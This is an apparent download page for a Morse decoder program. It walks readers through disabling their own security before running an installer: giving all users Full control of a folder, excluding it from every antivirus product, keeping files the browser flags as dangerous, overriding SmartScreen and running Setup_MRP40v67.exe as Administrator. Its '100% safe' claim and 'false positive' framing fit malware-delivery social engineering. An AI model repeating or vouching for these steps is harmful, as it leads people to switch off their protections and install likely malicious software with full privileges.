Installation Guide: MRP40 Morse Decoder

"Rest assured, this software has been thoroughly tested and is verified to be 100% safe."

Since browsers and antivirus programs often flag the MRP40 Software as a "false positive", please follow these steps exactly to enable download and installation:

1. Create & Prepare the Target Folder

Open Windows Explorer, go to C:\Program Files (x86) and create this folder structure:

C:\Program Files (x86)\HamRadioSoftware\MRP40 Morse Decoder V67

Step 1a: Grant Write Permissions (Crucial)
To ensure your browser and the installer can save files to this folder without "Access Denied" errors:

Right-click the HamRadioSoftware folder → Properties.
Tab Security → Click Edit...
Select Users and check Full control (Allow).
Click OK to save.

2. Add Antivirus Exclusions

Important: If you use any third-party antivirus (e.g., Avast, Norton, Bitdefender, etc.) in addition to or instead of Microsoft Defender, you must add for the just created folder an exclusion from scan to all of them.

Open your Antivirus Software (and/or Windows Virus & threat protection).
Go to Settings → Exclusions (sometimes called 'Exceptions' or 'Safe Zone').
Select Add an exclusion → Folder.
Pick the folder you created in Step 1:
C:\Program Files (x86)\HamRadioSoftware
IMPORTANT: Perform a System Restart now.

💡 Critical Note on How to Restart:
Please use ONLY the official Windows menu (Start → Power → Restart). Do not use the physical power button.

3. Prepare Browser for Download

⚠️ Avoid Deletion: To prevent Windows Defender from "intercepting" the file, you must save it directly into the excluded folder.

Set your browser to ask for the save location:

Edge: Settings (...) → Downloads → Enable: "Ask me what to do with each download".
Chrome: Settings (⋮) → Downloads → Enable: "Ask where to save each file before downloading".

4. Download the Software

⚠️ CRITICAL: Complete steps 1, 2, and 3 first!

STEP A: Prepare the File Path

Copy this path now. You must paste it later into the "Save As" window of your browser:

C:\Program Files (x86)\HamRadioSoftware\MRP40 Morse Decoder V67

ACTION: Start Download

STEP B: If Browser blocks Download

If your browser shows a warning, you must manually allow the file:

Edge: Click (...) → Keep → Show more → Keep anyway.
Chrome: Press Ctrl + J → Keep dangerous file → Confirm.

5. Run Installation & Final Initialization

Open the folder:
C:\Program Files (x86)\HamRadioSoftware\MRP40 Morse Decoder V67
Right-click the file Setup_MRP40v67.exe → Run as Administrator.
SmartScreen: Click "More info" and then "Run anyway" if prompted.
Important: Ensure the installer uses the path above. Do not change it.
FINAL STEP: Perform two more System Restarts, one after another in a row.

⚠️ EMERGENCY HELP & TROUBLESHOOTING

1. How to Restart (Critical):
